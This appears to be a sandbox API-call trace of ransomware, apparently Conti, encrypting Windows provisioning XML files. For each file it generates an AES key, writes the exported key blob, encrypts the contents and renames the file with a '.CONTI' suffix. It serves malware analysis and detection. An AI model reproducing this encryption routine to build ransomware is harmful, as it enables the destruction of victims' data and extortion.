	[0109.394] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x300, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x310) returned 1
	[0109.394] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.394] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x310, lpOverlapped=0x0) returned 1
	[0109.394] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.394] WriteFile (in: hFile=0x39c, lpBuffer=0x6514be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6514be8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.395] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.395] CloseHandle (hObject=0x39c) returned 1
	[0109.395] GetProcessHeap () returned 0x1720000
	[0109.395] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.395] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml"
	[0109.395] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.395] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.395] GetProcessHeap () returned 0x1720000
	[0109.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.395] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0109.395] GetProcessHeap () returned 0x1720000
	[0109.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6a98 | out: hHeap=0x1720000) returned 1
	[0109.395] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.395] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6513bf8 | out: phKey=0x6513bf8*=0x6b7f478) returned 1
	[0109.396] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513bfc, pdwDataLen=0x447fe94 | out: pbData=0x6513bfc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.396] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0109.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.397] GetLastError () returned 0x0
	[0109.397] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=886) returned 1
	[0109.397] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x376
	[0109.397] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.397] SetEndOfFile (hFile=0x39c) returned 1
	[0109.397] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.397] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.397] WriteFile (in: hFile=0x39c, lpBuffer=0x6513bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6513bfc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.399] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.399] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x376, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x376, lpOverlapped=0x0) returned 1
	[0109.399] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x376, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x380) returned 1
	[0109.399] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.399] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x380, lpOverlapped=0x0) returned 1
	[0109.399] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.399] WriteFile (in: hFile=0x39c, lpBuffer=0x6513bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6513bf0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.399] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.399] CloseHandle (hObject=0x39c) returned 1
	[0109.399] GetProcessHeap () returned 0x1720000
	[0109.399] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.399] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml"
	[0109.399] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml.CONTI"
	[0109.399] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0109.400] GetProcessHeap () returned 0x1720000
	[0109.400] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.400] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.400] GetProcessHeap () returned 0x1720000
	[0109.400] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6d28 | out: hHeap=0x1720000) returned 1
	[0109.400] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.400] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65132d8 | out: phKey=0x65132d8*=0x6b7f538) returned 1
	[0109.400] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65132dc, pdwDataLen=0x447fe94 | out: pbData=0x65132dc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.401] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.401] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.401] GetLastError () returned 0x0
	[0109.401] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=833) returned 1
	[0109.401] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x341
	[0109.401] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.401] SetEndOfFile (hFile=0x39c) returned 1
	[0109.402] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.402] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.402] WriteFile (in: hFile=0x39c, lpBuffer=0x65132dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65132dc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.404] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.404] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x341, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x341, lpOverlapped=0x0) returned 1
	[0109.404] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x341, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x350) returned 1
	[0109.404] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.404] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x350, lpOverlapped=0x0) returned 1
	[0109.404] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.404] WriteFile (in: hFile=0x39c, lpBuffer=0x65132d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65132d0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.404] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.404] CloseHandle (hObject=0x39c) returned 1
	[0109.404] GetProcessHeap () returned 0x1720000
	[0109.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.404] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml"
	[0109.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.404] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.405] GetProcessHeap () returned 0x1720000
	[0109.405] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.405] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0109.405] GetProcessHeap () returned 0x1720000
	[0109.405] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7b40 | out: hHeap=0x1720000) returned 1
	[0109.405] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.405] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6514e38 | out: phKey=0x6514e38*=0x6b7f478) returned 1
	[0109.405] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514e3c, pdwDataLen=0x447fe94 | out: pbData=0x6514e3c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.406] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.406] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.406] GetLastError () returned 0x0
	[0109.406] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=670) returned 1
	[0109.406] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29e
	[0109.406] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.406] SetEndOfFile (hFile=0x39c) returned 1
	[0109.407] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.407] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.407] WriteFile (in: hFile=0x39c, lpBuffer=0x6514e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6514e3c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.408] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.408] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x29e, lpOverlapped=0x0) returned 1
	[0109.408] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x29e, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2a0) returned 1
	[0109.408] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.408] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2a0, lpOverlapped=0x0) returned 1
	[0109.409] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.409] WriteFile (in: hFile=0x39c, lpBuffer=0x6514e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6514e30*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.409] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.409] CloseHandle (hObject=0x39c) returned 1
	[0109.409] GetProcessHeap () returned 0x1720000
	[0109.409] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.409] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml"
	[0109.409] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.409] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.410] GetProcessHeap () returned 0x1720000
	[0109.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.410] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.410] GetProcessHeap () returned 0x1720000
	[0109.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0bb0 | out: hHeap=0x1720000) returned 1
	[0109.410] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.410] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6515758 | out: phKey=0x6515758*=0x6b7f4f8) returned 1
	[0109.410] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651575c, pdwDataLen=0x447fe94 | out: pbData=0x651575c*, pdwDataLen=0x447fe94*=0x20c) returned 1
